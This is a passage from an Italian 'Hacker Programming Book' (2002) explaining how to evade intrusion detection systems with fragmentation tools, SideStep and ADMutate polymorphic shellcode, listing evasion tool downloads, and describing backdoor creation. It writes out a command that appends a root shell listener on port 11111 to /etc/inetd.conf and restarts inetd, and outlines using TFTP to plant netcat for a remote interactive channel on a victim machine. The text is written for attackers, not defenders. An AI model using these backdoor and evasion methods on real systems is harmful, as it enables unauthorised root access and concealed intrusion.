ordered 8-byte IP fragments. -F2 frag-2 : Send data in ordered 24-byte IP fragments. -F3 frag-3 : Send data in ordered 8-byte IP fragments, with one fragment sent out of order. -F4 frag-4 : Send data in ordered 8-byte IP fragments, duplicating the penultimate fragment in each packet. -F5 frag-5 : Send data in out of order 8-byte IP fragments, duplicating the penultimate fragment in each packet. -F6 frag-6 : Send data in ordered 8-byte IP fragments, sending the marked last fragment first. -F7 frag-7 : Send data in ordered 16-byte IP fragments, preceding each fragment with an 8-byte null data fragment that overlaps the latter half of it. This amounts to the forward-overlapping 16-byte fragment rewriting the null data back to the real attack. Un software che utilizza una metodologia completamente differente per eludere i sistemi IDS SIDESTEP. Il programma scaricabile da :

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book

http://www.robertgraham.com/tmp/sidestep.exe
Si tratta di un programma lanciabile da linea di comando : c:\>sidestep SideStep v1.0 Copyright (c) 2000 by Network ICE http://www.robertgraham.com/tmp/sidestep.html usage: sidestep <target> [<options>] Sends attacks at the target that evades an IDS. One of the following protocols/attacks must be specified: -rpc RPC PortMap DUMP -ftp FTP CD ~root -dns DNS version.bind query -snmp SNMP lanman user enum -http /cgi-bin/phf -bo BackOrifice ping -all One of three modes must be specified: -norm Does no evasion (normal attacks) -evade Attempts to attack target evading the IDS -false Does not attack the system at all (false positive) Example: sidestep 10.0.0.1 -evade -dns Queries DNS server for version info evading IDS Un pacchetto particolare che viene utilizzato nellambito delle evasioni dai sistemi IDS ADMUTATE. I metodi generalmente usati dai sistemi IDS per lidentificazione degli attacchi sono : * Signature analysis * Protocol analysis * Traffic pattern statistics Prendiamo ad esempio i metodi per eludere, con un sistema di buffer overflow, locchio attento di un istema IDS. ADMutate accetta come input un exploit basato su di un buffer overflow. Il tool modifica lexploit utilizzando un sistema usato anche dai virus chiamato polimorfismo. In altre parole ADMutate modifica il buffer overflow fino a creare un nuovo exploit che di fatto non possiede gli deintificatori che potrebbero essere intercettati da un sistema IDS. Ma come fa a creare una versione polimorfica dellexploit relativo ad un buffer overflow ? Vi ricordate che un buffer overflow consiste di fatto in tre componeti principali ? Il primo componente la sequenza di NOP che permette al sistema di saltare come esecuzione in un punto che non crei problemi. Il secondo componente il codice assembler che deve esser eseguito. Il terzo il puntatore di salto. ADMutate altera ciascuno di questi tre componenti al fine di creare un set di istruzioni differenti che facciano alla fine la stessa cosa. Per quello che riguarda i NOP non fa altro che sostituire con istruzioni nulle ovvero che non facciano in pratica nulla come ad esempio muovere avanti e indietro i valori da un registro. Ad esempio mete istruzioni del tipo : MOV EAX, 1 MOV EBX., EAX MOV EBX, 1

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


In pratica queste istruzioni non fanno nulla ma di fatto la stringa derivata non corrisponde con quelle ricercate dal sistema IDS. ADMutate possiede un set di isruzioni possibili per la sostituzione dei NOP. Per quello che riguarda il codice da eseguire ADMutate utilizza una semplicissima fnzione per alterare il codice macchina. ADMutate applica una fnzione XOR al codice per combinare questo con delle chiavi generate in modo random. Loutput di questo processo grappolo di un linguaggio incomprensibile che essendo generato in kmod random non pu essere intercettato. Chiaramente ADMutate aggiunge anche il piccolissimo meccanismo per la decodifica il quale di fatto invece in formato comprensibile dal processore del sistema vittima. IN questo modo i compoenti di un buffer overflow diventano quattro. Ad ogni modo ADMutate deve essere sicuro che quello che ha generato di fatto non venga intercettato dal sistema IDS.

links relativi a IDS


fragrouter - Fragmenting packets to evade IDS. OS: Unix Homepage: http://www.anzen.com/research/nidsbench/ Source Download: http://www.anzen.com/research/nidsbench/fragrouter1.6.tar.gz nemesis - Generating / spoofing various packets. OS: Unix Homepage: N/A Source Download: http://the.wiretapped.net/security/packetconstruction/nemesis/nemesis-1.32.tar.gz nessus - Triggering scanning alarms. OS: Unix Homepage: http://www.nessus.org/ Source Download: http://www.nessus.org/download.html nmap - Slow scanning attempting to "fly under the radar". OS: Unix Homepage: http://www.insecure.org/nmap/index.html Source Download: http://download.insecure.org/nmap/dist/nmap2.54BETA30.tgz sneeze - Testing Snort alarm and logging capability. OS: Unix Homepage: N/A Source Download: http://snort.sourceforge.net/sneeze-1.0.tar snot - Testing IDS robustness, as well as alarm and logging capability. OS: Unix Homepage: http://www.sec33.com/sniph/ Source Download: http://www.sec33.com/sniph/snot-0.92a.tar.gz stick - Testing IDS robustness, as well as alarm and logging capability. OS: Unix Homepage: http://www.eurocompton.net/stick/ Source Download: http://packetstormsecurity.org/distributed/stick.tgz tcpreplay - Replaying real traffic in which to hide attacks.

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


OS: Unix Homepage: http://www.anzen.com/research/nidsbench/ Source Download: http://www.anzen.com/research/nidsbench/tcpreplay1.0.1.tar.gz whisker - Triggering URL alarms or attempting to slip obfuscated URLs past IDS. OS: Unix Homepage: http://www.wiretrip.net/rfp/ Download: http://www.wiretrip.net/rfp/bins/whisker/whisker.tar.gz

Metodi alternativi per la creazione di backdoor


Alcune volte, in particolar modo sotto sistemi Unix, la creazione di una backdoor non pretende linstallazione di nessun sotfware aggiuntivo. Supponiamo di aver individuato un buffer overflow che ci permetta di scrivere dentro ad un file di configurazione come ad esempio inetd. Inetd controlla tutte le porte listate e al verificarsi di una connessione lancia il programma abbinato. Se ad esempio allinterno di /etc/inetd.conf ci fosse una linea del tipo : 11111 stream tcp nowait root /bin/sh sh I

al verificarsi di una connessione sulla porta 11111 verrebbe lanciata /bin/sh. A questo punto il camando eseguito dal sistema legato al buffer overflow dovrebbe mirare ad aggiungere in coda al file /etc/inetd.conf la linea : /bin/sh c echo 11111 stream tcpo nowait root /bin/sh sh i >>/etc/inetd.conf; killall HUP inted Lultima istruzione eseguirebbe il kill di inetd per cui il processo sarebbe riattivato leggendo il nuovo file di configurazione. Un altro molto sfruttato sui sistemi vittima legato ai trasferimenti via il Trivial FTP ovvero TFTP. Inetd.conf ha ilseguente formato :
# # # # # # # # # # # # # # # # # # # # # inetd.conf This file describes the services that will be available through the INETD TCP/IP super server. To re-configure the running INETD process, edit this file, then send the INETD process a SIGHUP signal. @(#)/etc/inetd.conf 3.10 05/27/93

Version: Authors:

Original taken from BSD UNIX 4.3/TAHOE. Fred N. van Kempen,<waltje@uwalt.nl.mugnet.org>

Modified for Debian Linux by Ian A. Murdock <imurdock@shell.portal.com> Modified for RHS Linux by Marc Ewing <marc@redhat.com> <service_name> <sock_type> <proto> <flags> <user> <server_path> <args> Echo, discard, daytime, and chargen are used primarily for testing. To re-read this file after changes, just do a 'killall -HUP inetd'

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


#echo stream tcp nowait root internal #echo dgram udp wait root internal #discard stream tcp nowait root internal #discard dgram udp wait root internal #daytime stream tcp nowait root internal #daytime dgram udp wait root internal #chargen stream tcp nowait root internal #chargen dgram udp wait root internal #time stream tcp nowait root internal #time dgram udp wait root internal # # These are standard services. # ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd # # Shell, login, exec, comsat and talk are BSD protocols. # shell stream tcp nowait root /usr/sbin/tcpd in.rshd login stream tcp nowait root /usr/sbin/tcpd in.rlogind #exec stream tcp nowait root /usr/sbin/tcpd in.rexecd #comsat dgram udp wait root /usr/sbin/tcpd in.comsat talk dgram udp wait nobody.tty /usr/sbin/tcpd in.talkd ntalk dgram udp wait nobody.tty /usr/sbin/tcpd in.ntalkd #dtalk stream tcp wait nobody.tty /usr/sbin/tcpd in.dtalkd # # Pop and imap mail services et al # #pop-2 stream tcp nowait root /usr/sbin/tcpd ipop2d #pop-3 stream tcp nowait root /usr/sbin/tcpd ipop3d #imap stream tcp nowait root /usr/sbin/tcpd imapd # # The Internet UUCP service. # #uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/lib/uucp/uucico -l # # Tftp service is provided primarily for booting. Most sites # run this only on machines acting as "boot servers." Do not uncomment # this unless you *need* it. # #tftp dgram udp wait root /usr/sbin/tcpd in.tftpd #bootps dgram udp wait root /usr/sbin/tcpd bootpd # # Finger, systat and netstat give out user information which may be # valuable to potential "system crackers." Many sites choose to disable # some or all of these services to improve security. # finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd #cfinger stream tcp nowait root /usr/sbin/tcpd in.cfingerd #systat stream tcp nowait guest /usr/sbin/tcpd /bin/ps -auwwx #netstat stream tcp nowait guest /usr/sbin/tcpd /bin/netstat -f inet # # Authentication # # identd is run standalone now # #auth stream tcp wait root /usr/sbin/in.identd in.identd -e -o # # End of inetd.conf

Mentre il sistema precedente era un ottimo metodo per aprire una backdoor sotto Unix, quello che segue pu essere applicato anche a sistemi Windows. Per lesecuzione di questo metodo sono necessari i seguenti steps :

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


Lattaccante esegue loverflow di un buffer forzando il sistema a eseguire il sistema TFTP Il sistema attivato viene usato per trasferire NETCAT configurato sul sistema vittima. Netcat viene eseguito. Usando un'altra copia di NETCAT lataccante attende la comunicazione.

Ora lattaccante possiede una canale interattivo per lavorare sulla macchina vittima.

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Potrebbero piacerti anche